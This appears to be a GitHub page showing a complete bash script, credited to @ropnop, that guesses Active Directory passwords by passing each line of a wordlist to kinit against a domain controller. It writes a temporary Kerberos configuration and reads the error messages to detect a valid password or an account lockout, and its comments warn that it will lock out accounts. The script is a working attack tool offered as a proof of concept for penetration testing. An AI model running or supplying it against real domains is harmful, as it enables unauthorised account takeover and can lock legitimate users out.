-
Notifications
You must be signed in to change notification settings - Fork 14
/
Copy pathkinit_brute.sh
executable file
·67 lines (58 loc) · 1.87 KB
/
kinit_brute.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#!/bin/bash
# Title: kinit_brute.sh
# Author: @ropnop
# Description: This is a PoC for bruteforcing passwords using 'kinit' to try to check out a TGT from a Domain Controller
# The script configures the realm and KDC for you based on the domain provided and the domain controller
# Since this configuration is only temporary though, if you want to actually *use* the TGT you should actually edit /etc/krb5.conf
# Only tested with Heimdal kerberos (error messages might be different for MIT clients)
# Note: this *will* lock out accounts if a domain lockout policy is set. Be careful
USERNAME=$1
DOMAINCONTROLLER=$2
WORDLIST=$3
if [[ $# -ne 3 ]]; then
echo "[!] Usage: ./kinit_brute.sh full_username domainController wordlist_file"
echo "[!] Example: ./kinit_brute.sh [email protected] dc01.contoso.com passwords.txt"
exit 1
fi
DOMAIN=$(echo $USERNAME | awk -F@ '{print toupper($2)}')
echo "[+] User: $USERNAME"
echo "[+] Kerberos Realm: $DOMAIN"
echo "[+] KDC: $DOMAINCONTROLLER"
echo ""
k5config=$(mktemp)
k5cache=$(mktemp)
cat > $k5config <<asdfasdf
[libdefaults]
default_realm = $DOMAIN
[realms]
$DOMAIN = {
kdc = $DOMAINCONTROLLER
admin_server = $DOMAINCONTROLLER
}
asdfasdf
while read PASSWORD; do
RESULT=$(
echo $PASSWORD | KRB5_CONFIG=$k5config KRB5CCNAME=$k5cache kinit --password-file=STDIN $USERNAME 2>&1
)
if [[ $RESULT == *"unable to reach"* ]]; then
echo "[!] Unable to find KDC for realm. Check domain and DC"
exit 1
fi
if [[ $RESULT == *"Wrong realm"* ]]; then
echo "[!] Wrong realm. Make sure domain and DC are correct"
exit 1
fi
if [[ $RESULT == *"Clients credentials have been revoked"* ]]; then
echo "[!] Account locked out!"
exit 1
fi
if [[ $RESULT == *"Password incorrect"* ]]; then
:
elif [[ -z "$RESULT" ]]; then
echo "[+] Found password: $PASSWORD"
echo ""
exit 1
else
echo "[+] Error: $RESULT"
fi
done <$WORDLIST